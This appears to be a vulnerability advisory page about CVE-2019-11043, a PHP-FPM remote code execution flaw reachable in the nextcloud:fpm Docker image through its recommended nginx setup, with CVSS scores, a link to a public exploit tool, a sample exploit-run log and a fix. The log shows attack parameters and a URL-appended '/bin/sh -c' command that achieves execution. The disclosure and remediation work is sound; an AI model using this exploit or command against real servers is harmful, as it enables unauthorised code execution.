9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.975 High
EPSS
Percentile
100.0%
The CVE-2019-11043 vulnerability can be exploited in the latest nextcloud:fpm image.
This is due to the specific nginx configuration recommended for nextcloud:
https://github.com/nextcloud/docker#base-version---fpm
https://github.com/nextcloud/documentation/blob/master/admin_manual/installation/nginx.rst
https://github.com/nextcloud/docker/blob/master/.examples/docker-compose/with-nginx-proxy/mariadb/fpm/web/nginx.conf
Here’s the exploit: https://github.com/neex/phuip-fpizdam
Sample exploit run:
2019/10/22 19:36:29 Base status code is 200
2019/10/22 19:36:30 Status code 502 for qsl=1765, adding as a candidate
2019/10/22 19:36:31 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/10/22 19:36:48 Attack params found: --qsl 1760 --pisos 191 --skip-detect
2019/10/22 19:36:48 Trying to set “session.auto_start=0”…
2019/10/22 19:36:50 Detect() returned attack params: --qsl 1760 --pisos 191 --skip-detect <– REMEMBER THIS
2019/10/22 19:36:50 Performing attack using php.ini settings…
2019/10/22 19:36:52 Success! Was able to execute a command by appending “?a=/bin/sh±c+‘which+which’&” to URLs
2019/10/22 19:36:52 Trying to cleanup /tmp/a…
2019/10/22 19:36:52 Done!
To fix the issue, you need to update PHP-FPM version in the nextcloud:fpm image.
Reference: https://bugs.php.net/bug.php?id=78599
Execute arbitrary PHP code on the target server
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.975 High
EPSS
Percentile
100.0%